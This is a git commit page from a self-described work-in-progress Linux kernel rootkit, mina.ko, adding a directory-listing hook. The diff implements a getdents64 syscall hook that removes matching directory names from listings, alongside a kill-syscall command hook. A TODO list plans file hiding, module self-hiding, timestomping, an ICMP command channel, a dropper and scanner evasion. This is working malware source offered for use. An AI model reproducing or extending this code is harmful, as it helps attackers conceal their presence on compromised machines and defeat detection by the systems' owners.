mina.ko.git


mina.ko

~ (wip)LKM rootkit for 6.1+ kernels
git clone https://github.com/djnnvx/mina.ko.git
log | files | refs | archive | README | LICENSE

commit 45c922e38fc4c055becea927d851617c1cf8f044
parent 226fff6bb954e130641a47e0cbab8231fb248901
Author: djnn <[email protected]>
Date: Mon, 20 Jan 2025 18:00:44 +0900

feat(hooks): dir-listing hooking

Diffstat:
Mrootkit/includes/mina.h | 1-
Mrootkit/sources/mina.c | 61++++++++++++++++++++++++++++++++++++++++++++++++++-----------

2 files changed, 50 insertions(+), 12 deletions(-)

diff --git a/rootkit/includes/mina.h b/rootkit/includes/mina.h
@@ -12,7 +12,6 @@
 
 #define MAGIC_PID (1337)
 
-
 #define HIDE_DIRNAME_STARTSWTIH ("mina")
 
 // stealth.c
diff --git a/rootkit/sources/mina.c b/rootkit/sources/mina.c
@@ -1,11 +1,14 @@
 #include <linux/delay.h>
+#include <linux/dirent.h>
 #include <linux/fs.h>
 #include <linux/init.h>
 #include <linux/kernel.h>
 #include <linux/kprobes.h>
 #include <linux/kthread.h>
+#include <linux/list.h>
 #include <linux/module.h>
 #include <linux/slab.h>
+#include <linux/uaccess.h>
 #include <linux/version.h>
 
 #include "../includes/mina.h"
@@ -46,13 +49,13 @@ timestomping might be necessary from the dropper
     ======================== TODO ==============================
 
 
-- write hook on directory listing to hide any directory i would like
 - write hook on file listing to hide any file i would like (hook filldir)
 - find a way to retrieve the module (if possible from memory, not relative path),
     & add it to /usr/lib/modules/
 - add /sys/modules/mina** from the listdir syscall
 - timestomping /usr/lib/modules-load.d
 - intercept TCP calls to read ICMP packets. REPL should be inside
+- hook insmod to avoid having LKM scanners
 
 - write silly dropper
 - write an ICMP client to interact with the rootkit
@@ -76,25 +79,61 @@ MODULE_VERSION("0.0.1");
 
 /*         ------=== DIR  HOOK ===----- */
 
+#define HIDE_DIR "minamina"
+
 static asmlinkage long (*original_getdents64)(const struct pt_regs *);
 static asmlinkage long hook_getdents64(const struct pt_regs *regs) {
-
-    /* if pattern-match mina** is respected, do not show the directory */
-
     struct linux_dirent64 __user *user_dir = (struct linux_dirent64 __user *)regs->si;
+
     struct linux_dirent64 *kernel_dir_buffer = NULL;
     struct linux_dirent64 *current_entry = NULL;
     struct linux_dirent64 *prev_entry = NULL;
-    long error = 0;
+
     unsigned long offset = 0;
-    long result = 0;
+    long result = original_getdents64(regs);
 
+    if (result <= 0) {
+        return result;
+    }
 
+    kernel_dir_buffer = kmalloc(result, GFP_KERNEL);
+    if (!kernel_dir_buffer) {
+        return -ENOMEM;
+    }
 
-normalgetdents64:
-    return original_getdents64(regs);
-}
+    if (copy_from_user(kernel_dir_buffer, user_dir, result) != 0) {
+        kfree(kernel_dir_buffer);
+        return -EFAULT;
+    }
 
+    while (offset < result) {
+        current_entry = (struct linux_dirent64 *)((char *)kernel_dir_buffer + offset);
+
+        if (strncmp(current_entry->d_name, HIDE_DIR, strlen(HIDE_DIR)) == 0) {
+            if (current_entry == kernel_dir_buffer) {
+                result -= current_entry->d_reclen;
+                memmove(kernel_dir_buffer, (char *)kernel_dir_buffer + current_entry->d_reclen, result);
+                continue;
+            }
+
+            if (prev_entry) {
+                prev_entry->d_reclen += current_entry->d_reclen;
+            }
+        } else {
+            prev_entry = current_entry;
+        }
+
+        offset += current_entry->d_reclen;
+    }
+
+    if (copy_to_user(user_dir, kernel_dir_buffer, result) != 0) {
+        kfree(kernel_dir_buffer);
+        return -EFAULT;
+    }
+
+    kfree(kernel_dir_buffer);
+    return result;
+}
 
 /*         ------=== KILL HOOK ===----- */
 
@@ -122,8 +161,8 @@ normalkill:
 /*     ------=== HOOKS DEFINITIONS ===-----     */
 
 static struct ftrace_hook hooks[] = {
-    HOOK("__x64_sys_kill", hooked_kill_syscall, &original_kill),            // receive commands from machine
-    HOOK("__x64_sys_getdents64", hook_getdents64, &original_getdents64),    // hide directories
+    HOOK("__x64_sys_kill", hooked_kill_syscall, &original_kill),         // receive commands from machine
+    HOOK("__x64_sys_getdents64", hook_getdents64, &original_getdents64), // hide directories
 };
 
 /* --------------------------------------------- */